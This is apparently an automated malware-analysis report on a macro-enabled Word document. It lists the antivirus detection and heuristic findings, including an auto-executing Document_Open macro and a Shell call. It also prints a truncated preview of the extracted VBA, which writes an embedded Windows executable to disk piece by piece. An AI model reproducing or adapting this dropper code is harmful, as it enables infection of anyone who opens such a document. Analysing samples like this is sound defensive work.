MALICIOUS
250
Risk Score
Heuristics 6
-
ClamAV: Doc.Malware.Valyria-6714124-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Valyria-6714124-0
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Call Shell(ShS) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 104504 bytes |
SHA-256: 24e45389b5db782cc7c1ebfbffb085d4bf11d6b735556e7ea177ce9f3f8afb9a |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Function FE(V As String) As Boolean On Error Resume Next: FE = (FileLen(V) > -1) End Function Private Property Let Y(Value As Long) Put #1, , Value End Property Private Sub CheckHash() Y = 9460301 Y = 3 Y = 4 Y = 65535 Y = 184 Y = 0 Y = 64 For I = 1 To 8 Y = 0 Next Y = 128 Y = 247078670 Y = -855002112 Y = 1275181089 Y = 1750344141 Y = 1881174889 Y = 1919381362 Y = 1663069537 Y = 1869508193 Y = 1700929652 Y = 1853190688 Y = 544106784 Y = 542330692 Y = 1701080941 Y = 168627502 Y = 36 Y = 0 Y = 17744 Y = 262476 Y = 1441267592 For I = 1 To 2 Y = 0 Next Y = 16908512 Y = 721163 Y = 13312 Y = 20992 Y = 0 Y = 21118 Y = 8192 Y = 24576 Y = 4194304 Y = 8192 Y = 512 Y = 4 Y = 0 Y = 4 Y = 0 Y = 65536 Y = 1024 Y = 0 Y = -2059403262 Y = 1048576 Y = 4096 Y = 1048576 Y = 4096 Y = 0 Y = 16 For I = 1 To 2 Y = 0 Next Y = 21036 Y = 79 Y = 32768 Y = 19632 For I = 1 To 4 Y = 0 Next Y = 57344 Y = 12 Y = 24576 Y = 28 For I = 1 To 10 Y = 0 Next Y = 8192 Y = 8 For I = 1 To 2 Y = 0 Next Y = 8200 Y = 72 For I = 1 To 2 Y = 0 Next Y = 2019914798 Y = 116 Y = 12932 Y = 8192 Y = 13312 Y = 1024 For I = 1 To 3 Y = 0 Next Y = 1610612768 Y = 1633973038 Y = 24948 Y = 312 Y = 24576 Y = 512 Y = 14336 For I = 1 To 3 Y = 0 Next Y = -1073741760 Y = 1920168494 Y = 99 Y = 19632 Y = 32768 Y = 19968 Y = 14848 For I = 1 To 3 Y = 0 Next Y = 1073741888 Y = 1818587694 Y = 25455 Y = 12 Y = 57344 Y = 512 Y = 34816 For I = 1 To 3 Y = 0 Next Y = 1107296320 For I = 1 To 122 Y = 0 Next Y = 21088 Y = 0 Y = 72 Y = 327682 Y = 12568 Y = 8468 Y = 1 Y = 100663305 For I = 1 To 12 Y = 0 Next Y = 1143662 Y = 142607872 Y = 1929641984 Y = 100663308 Y = 2432 Y = 176165892 Y = 704905216 Y = 274459 Y = 167 Y = 285212673 Y = 370 Y = 75888 Y = 176163328 Y = -570163200 Y = 36185358 Y = 168427520 Y = 808 Y = 2113986058 Y = 67108874 Y = 1914114605 Y = 1879048193 Y = 1139 Y = 688138 Y = 187368448 Y = 2686 Y = 356100 Y = 1915357696 Y = 1879048227 Y = 42610 Y = 294512 Y = 103285760 Y = -569769984 Y = 36185358 Y = 185204736 Y = 808 Y = 335601162 Y = 657150 Y = 124978688 Y = 336199680 Y = 256032 Y = 141759744 Y = -2146828288 Y = 67108870 Y = 185007636 Y = 1929773056 Y = 167772167 Y = 196616212 Y = 1930756096 Y = 167772168 Y = 1920 Y = 600068 Y = 2755072 Y = 7169 Y = 0 Y = 234885393 Y = 16777224 Y = 4390912 Y = 234903830 Y = 16777224 Y = 208923 Y = 44 Y = 285212674 Y = 2174 Y = 1339140 Y = 249431552 Y = 141349 Y = 671746560 Y = 167772163 Y = 108921054 Y = 537133056 Y = 1000 Y = 683797 Y = 707136000 Y = 4097 Y = 0 Y = 234884108 Y = 16777224 Y = 208923 Y = 44 Y = 285212675 Y = 2430 Y = 1011460 Y = 249431552 Y = 141349 Y = 671746560 Y = 167772163 Y = 125698270 Y = 537133056 Y = 3000 Y = 683797 Y = 707136000 Y = 4097 Y = 0 Y = 234884108 Y = 16777224 Y = 12219046 Y = 25194496 Y = 1912864768 Y = 1879048504 Y = 640 Y = 28602884 Y = 58748928 Y = 1912864768 Y = 1879048640 Y = 1152 Y = 10756 Y = 274451 Y = 83 Y = 285212676 Y = 122994 Y = 1779895152 Y = 880386 Y = 225053184 Y = 121252620 Y = 392759298 Y = 3624 Y = 993290 Y = 147982848 Y = 1058818 Y = 1483344384 Y = 542665239 Y = 256 Y = 1641176426 Y = 4392 Y = 1189898 Y = 321391104 Y = 185204736 Y = 1483347720 Y = 822675468 Y = 2754498 Y = 339987 Y = 52 Y = 285212677 Y = 1342335510 Y = 1494726542 Y = 722078570 Y = 105906722 Y = 105906793 Y = 33984873 Y = 1790414416 Y = 1483347800 Y = 65568 Y = -765629952 Y = 386309217 Y = 101341290 Y = 718942471 Y = 143379 Y = 54 Y = 285212678 Y = 122994 Y = 318901104 Y = 722277892 Y = 151261467 Y = 134679697 Y = 4392 Y = 1189898 Y = 321391104 Y = 185204736 Y = 223876873 Y = -1912336119 Y = 132002487 Y = 552 Y = 10758 Y = 405523 Y = 45 Y = 285212679 Y = 5160 Y = 36176394 Y = 1862664192 Y = 167772181 Y = 5743 Y = 1517578 Y = -495842816 Y = 1919942657 Y = 1879048678 Y = 672535831 Y = 167772184 Y = 42 Y = 405523 Y = 33 Y = 285212680 Y = 31879682 Y = -495816704 Y = 393216001 Y = 405280277 Y = 269090816 Y = 422052352 Y = 671744000 Y = 100663300 Y = 42 Y = 274451 Y = 79 Y = 285212681 Y = 1930893570 Y = 167772186 Y = 460261131 Y = 386531328 Y = 392780138 Y = 1674584 Y = 118096128 Y = -1912203770 Y = 1863607 Y = 304482816 Y = 206848 Y = 1862731264 Y = 167772189 Y = 1930958851 Y = 167772186 Y = 369494028 Y = 1874300422 Y = 167772190 Y = 1928968 Y = 2755072 Y = 522715722 Y = 34209792 Y = 8307 Y = 945930 Y = 2754048 Y = 77843 Y = 7 Y = 285212682 Y = 752386 Y = 2753536 Y = 143379 Y = 62 Y = 285212683 Y = 134096130 Y = 100663312 Y = 8563 Y = 2063731210 Y = 67108875 Y = 2063731756 Y = 67108875 Y = 2256646 Y = 50465280 Y = 2941 Y = 192610820 Y = 738459648 Y = 192610828 Y = 100925440 Y = 9071 Y = 10762 Y = 143387 Y = 41 Y = 285212684 Y = 880386 Y = 611255808 Y = 755630080 Y = 225378827 Y = 1862664192 Y = 167772197 Y = 673517278 Y = 167772162 Y = 206858 Y = 14551552 Y = 42 Y = 4097 Y = 0 Y = 234887706 Y = 16777224 Y = 274459 Y = 380 Y = 285212685 Y = 9768 Y = 369890058 Y = 1631062803 Y = 285212673 Y = -1710550772 Y = 661587466 Y = 956956672 Y = 313 Y = 2649862 Y = 1075317248 Y = 301 Y = 2715398 Y = 711920128 Y = 1913257984 Y = 1879048682 Y = 2828311 Y = 118163968 Y = 320212499 Y = 8534029 Y = 235995136 Y = 211422481 Y = 2893832 Y = 2114783744 Y = 67108868 Y = 128626 Y = 1255536 Y = 757598720 Y = 638189568 Y = 1150 Y = 33845764 Y = 671707136 Y = 100663302 Y = 136306 Y = 3025008 Y = 68356608 Y = 791151633 Y = 755630080 Y = 68225060 Y = 1832 Y = 369365254 Y = 807933206 Y = 638189568 Y = 673517534 Y = 167772162 Y = 52954387 Y = -569769984 Y = 621796864 Y = 552 Y = 671486730 Y = 167772163 Y = 219218142 Y = 219371543 Y = 235998481 Y = 1933555598 Y = 2130706431 Y = 67108868 Y = 132210 Y = 1255536 Y = 510790144 Y = 376438786 Y = 11048 Y = 319228682 Y = 252909072 Y = 269570859 Y = 328863505 Y = 671551751 Y = 167772204 Y = 1862666259 Y = 167772201 Y = 10863 Y = 36336138 Y = 135360512 Y = 1320 Y = 36598278 Y = 774402048 Y = 319422464 Y = 671682825 Y = 167772207 Y = 118559021 Y = 120064273 Y = 285605888 Y = 824712201 Y = 285868032 Y = 324540175 Y = 286200079 Y = 850890256 Y = 621797029 Y = 552 Y = 671748874 Y = 167772163 Y = 185663710 Y = 185817111 Y = 202443537 Y = -1807763570 Y = 721420286 Y = 19521 Y = 0 Y = 157 Y = 13 Y = 170 Y = 15 Y = 16777224 Y = 0 Y = 91 Y = 96 Y = 187 Y = 15 Y = 16777224 Y = 0 Y = 21 Y = 326 Y = 347 Y = 15 Y = 16777224 Y = 522715838 Y = 34209792 Y = 818452 Y = 1912734720 Y = 1879048672 Y = 3709 Y = 544408068 Y = 1862926336 Y = 100663315 Y = 3371778 Y = 310184448 Y = 704905216 Y = 77843 Y = 7 Y = 285212686 Y = 1014530 Y = 2753536 Y = 143379 Y = 62 Y = 285212687 Y = 134096130 Y = 100663318 Y = 8563 Y = 2063731210 Y = 67108879 Y = 2063731756 Y = 67108879 Y = 2256646 Y = 50465280 Y = 3965 Y = 259719684 Y = 738459648 Y = 259719692 Y = 100925440 Y = 9071 Y = 10762 Y = 274459 Y = 267 Y = 285212688 Y = 1404674 Y = -684063232 Y = 2113929216 Y = 67108865 Y = 145522 Y = 680269680 Y = 671154176 Y = 167772166 Y = 382 Y = 38695428 Y = -1944621056 Y = 16777256 Y = 1576 Y = 163338 Y = 1718748160 Y = 1919942658 Y = 1879048834 Y = 1576 Y = 209388042 Y = 1862533120 Y = 167772212 Y = 2853910 Y = 302776576 Y = 3505666 Y = 302844416 Y = 3505667 Y = 68356608 Y = 913245202 Y = 34209792 Y = 3195 Y = 3505668 Y = 68356608 Y = 897451026 Y = 218759168 Y = 897450770 Y = 201981952 Y = 930021906 Y = -569769984 Y = 36185358 Y = 168427520 Y = 808 Y = 33611274 Y = 14451 Y = 818442 Y = 2063729664 Y = 67108876 Y = 3763990 Y = 2063731200 Y = 67108876 Y = 3829526 Y = 2063731200 Y = 67108876 Y = 3895065 Y = 2063731200 Y = 67108876 Y = 3960599 Y = 1862404608 Y = 100663314 Y = 9327 Y = 34286858 Y = 4719 Y = 2453254 Y = 249432576 Y = 141349 Y = 671812096 Y = 167772163 Y = 2752734 Y = 7169 Y = 4784128 Y = 234920272 Y = 16777224 Y = 0 Y = 234945788 Y = 16777224 Y = 143387 Y = 34 Y = 285212689 Y = 817922 Y = 1030685696 Y = 185204736 Y = 282987031 Y = 141349 Y = 369887744 Y = 206858 Y = 14551552 Y = 10758 Y = 4097 Y = 0 Y = 268439568 Y = 16777224 Y = 1191963 Y = 1260 Y = 285212690 Y = 1080066 Y = -1925643264 Y = 33554435 Y = 4475 Y = 276496900 Y = -1912340480 Y = 57097399 Y = 2063728640 Y = 67108880 Y = 1145602 Y = 194642944 Y = 4092679 Y = 101321216 Y = 16239 Y = 303829770 Y = 4204572 Y = 487787008 Y = 1093147922 Y = 101318656 Y = 16239 Y = 303698698 Y = 4204570 Y = 454232576 Y = 1109924626 Y = 1477050368 Y = 4157190 Y = 403900928 Y = 1076369426 Y = 319422464 Y = 672731673 Y = 167772227 Y = 1064240728 Y = 319422464 Y = 672535062 Y = 167772224 Y = 387061523 Y = 17448 Y = 991320074 Y = 709 Y = 4157190 Y = 68356608 Y = 4550406 Y = 101911040 Y = 4615942 Y = 118688256 Y = 18216 Y = 36336138 Y = 671576064 Y = 167772232 Y = 18728 Y = 1929973002 Y = 167772222 Y = 386467596 Y = 18984 Y = 209388042 Y = 1862533120 Y = 167772212 Y = 303960841 Y = 730600990 Y = 318832640 Y = 371135007 Y = 11148 Y = 304091905 Y = 730600992 Y = 318832640 Y = 2116096545 Y = 167772213 Y = 571613715 Y = 13694 Y = 304288522 Y = 3505699 Y = 605227520 Y = 897459218 Y = 319422464 Y = 2116358693 Y = 167772213 Y = 638723603 Y = 13694 Y = 304550666 Y = 3505703 Y = 672336384 Y = -1944705006 Y = 16777259 Y = 689056019 Y = 13694 Y = 304747274 Y = 3505706 Y = 722668032 Y = -1944638702 Y = 16777259 Y = 739388435 Y = 13694 Y = 304943882 Y = 4943661 Y = 504433152 Y = 19496 Y = 85134602 Y = 393152770 Y = 285605888 Y = 5074693 Y = 1075186176 Y = 398 Y = 319358225 Y = 523047469 Y = 2657293 Y = 739442944 Y = 897461266 Y = 319422464 Y = 2116751915 Y = 167772213 Y = 705833491 Y = 2853910 Y = 689111296 Y = 897460498 Y = 319422464 Y = 2116555304 Y = 167772213 Y = 655501075 Y = 13694 Y = 304485130 Y = 3505702 Y = 622004736 Y = 897459474 Y = 319422464 Y = 2116293156 Y = 167772213 Y = 588391187 Y = 13694 Y = 304222986 Y = 3505698 Y = 554895872 Y = 897458450 Y = 319422464 Y = 2116031008 Y = 167772213 Y = 521281299 Y = 13694 Y = 303960842 Y = 3505694 Y = 772999680 Y = 1315909138 Y = 285868032 Y = 4991021 Y = 34408960 Y = 1535753 Y = 85001728 Y = 20335 Y = 5271306 Y = -1944647168 Y = 16777256 Y = 20847 Y = 285807370 Y = 5402377 Y = 135465472 Y = 1862404113 Y = 100663320 Y = 21359 Y = 1862603018 Y = 167772244 Y = 672597769 Y = 167772234 Y = 4092679 Y = 302647808 Y = 68293892 Y = 21800 Y = 678189578 Y = 167772246 Y = 68289555 Y = 671355413 Y = 167772247 Y = 1479044186 Y = 319422464 Y = 352588292 Y = 1495794706 Y = 1510604800 Y = 5908588 Y = 68356608 Y = 303367186 Y = 5974020 Y = 1817840128 Y = 23592 Y = 100930314 Y = 1567556625 Y = 101318656 Y = 1584334353 Y = 101318656 Y = 1601111825 Y = -569769984 Y = 36185374 Y = 319422464 Y = 206858 Y = 266209792 Y = 141349 Y = 185797120 Y = 808 Y = 151051786 Y = 24616 Y = 621796874 Y = 552 Y = 671879946 Y = 167772163 Y = 85000414 Y = 2853910 Y = 772997376 Y = 897461778 Y = 319422464 Y = 2116882989 Y = 167772213 Y = 739388435 Y = 24943 Y = 621796874 Y = 552 Y = 671945482 Y = 167772163 Y = 151126238 Y = 5999 Y = 621796870 Y = 552 Y = 672011018 Y = 167772163 Y = 33685726 Y = 4475 Y = 2102925060 Y = 67108881 Y = 91704 Y = 2098463232 Y = 67108880 Y = 293410306 Y = 939786240 Y = 339 Y = 13171 Y = 672076554 Y = 167772198 Y = 320221203 Y = 293022511 Y = -1708191440 Y = 286331155 Y = 10095 End Sub Private Sub CheckHash0() Y = 290466826 Y = 2649873 Y = 857213440 Y = 286200094 Y = 2715409 Y = 711920128 Y = 2114584576 Y = 67108867 Y = 2828311 Y = 1651444224 Y = 285868032 Y = 2649873 Y = 857278976 Y = 286200094 Y = 2715409 Y = 711920128 Y = 2114584576 Y = 67108867 Y = 2828310 Y = 1651444224 Y = -569769984 Y = 36185359 Y = 319422464 Y = 206866 Y = 14551552 Y = 1477914385 Y = 789655315 Y = -1215418351 Y = 35094834 Y = 3195 Y = 6516484 Y = 1684998656 Y = 319422464 Y = 722670385 Y = 34541888 Y = 3195 Y = 6516484 Y = 319883776 Y = 25967 Y = 6713098 Y = 58591744 Y = 369360896 Y = 11048 Y = 6450954 Y = 266209792 Y = 141349 Y = 336792064 Y = 808 Y = 285269514 Y = 324540179 Y = 286462227 Y = 1941582129 Y = 167772211 Y = 252776467 Y = 26479 Y = 724701962 Y = 674370092 Y = 167772264 Y = 353441043 Y = 26920 Y = 6957066 Y = -1972237824 Y = 376438786 Y = 27432 Y = 154342922 Y = 353439761 Y = 27759 Y = 674370058 Y = 167772269 Y = 249482029 Y = 385757714 Y = 452984834 Y = 28271 Y = 285400074 Y = 7302928 Y = 276630016 Y = 704905216 Y = 50241 Y = 0 Y = 636 Y = 117 Y = 753 Y = 15 Y = 16777224 Y = 0 Y = 408 Y = 360 Y = 768 Y = 15 Y = 16777224 Y = 0 Y = 783 Y = 8 Y = 791 Y = 15 Y = 16777224 Y = 0 … |
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 260096 bytes |
SHA-256: 4b998d71d33e5abb87dada2c059c1e538af560d20769141c59a20519e279cb7d |
|||
|
Detection
ClamAV:
Doc.Malware.Valyria-6714124-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.